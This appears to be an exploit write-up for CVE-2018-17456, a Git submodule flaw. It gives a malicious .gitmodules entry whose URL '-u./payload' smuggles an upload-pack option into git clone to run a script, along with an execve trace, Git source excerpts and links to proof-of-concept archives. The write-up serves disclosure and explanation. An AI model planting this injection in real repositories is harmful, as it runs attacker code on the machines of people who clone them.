Git Submodule - Arbitrary Code Execution

# CVE-2018-17456

I've gotten a couple of questions about exploitation for the
[recent RCE](https://marc.info/?l=git&m=153875888916397&w=2) in Git. So here we
go with some technical details.

## TL;DR

[Here](https://github.com/joernchen/poc-submodule) is a PoC repository.
EDB Note: Mirror ~ https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/45631.zip

## Exploitation

The `.gitmodules` file looks as follows:

```
[submodule "x:x"]
	path = x:x
	url = -u./payload
```

The actual command being injected is set by the url, `-u./payload`
points the `upload-pack` flag of git clone to the `payload` shell
script. Note also the `:` within the path, this part is needed to
actually get the `payload` script executed.

The path will end up as the repository URL in the subsequent `clone`
operation:

```
execve("/usr/lib/git-core/git", ["/usr/lib/git-core/git", "clone",
"--no-checkout", "--progress", "--separate-git-dir",
"/tmp/huhu/.git/modules/x:x", "-u./payload", "/tmp/huhu/x:x"],...
```

As the actual URL from `.gitmodules` is interpreted as the `-u`
argument.

The colon is due to the fact, that the colon character let us go past
those lines in `transport.c`:

```c
    } else if (url_is_local_not_ssh(url) && is_file(url) && is_bundle(url, 1)) {
        struct bundle_transport_data *data = xcalloc(1, sizeof(*data));
        transport_check_allowed("file");
        ret->data = data;
        ret->vtable = &bundle_vtable;
        ret->smart_options = NULL;
```

Due to `url_is_local_not_ssh` will return false due to the colon
in the path. And therefore later on in the code the smart_options
containing the `uploadpack` setting are still in place:

```c
   } else {
		/* Unknown protocol in URL. Pass to external handler. */
		int len = external_specification_len(url);
		char *handler = xmemdupz(url, len);
		transport_helper_init(ret, handler);
	}

	if (ret->smart_options) {
		ret->smart_options->thin = 1;
		ret->smart_options->uploadpack = "git-upload-pack";
		if (remote->uploadpack)
			ret->smart_options->uploadpack = remote->uploadpack;
		ret->smart_options->receivepack = "git-receive-pack";1
		if (remote->receivepack)
			ret->smart_options->receivepack = remote->receivepack;
	}
```

## Further hints

The constraint to have a colon in the `path` seems to hinder exploitation on Windows
as a colon is a forbidden character within a path on Windows. However as noted by
some people during the disclosure: Git running within the Windows Subsystem for Linux or
cygwin will allow exploitation on Windows hosts.

Etienne Stalmans who found [a similar issue](https://staaldraad.github.io/post/2018-06-03-cve-2018-11235-git-rce/)
earlier this year managed to exploit this argument injection [using `--template`](https://twitter.com/_staaldraad/status/1049241254939246592).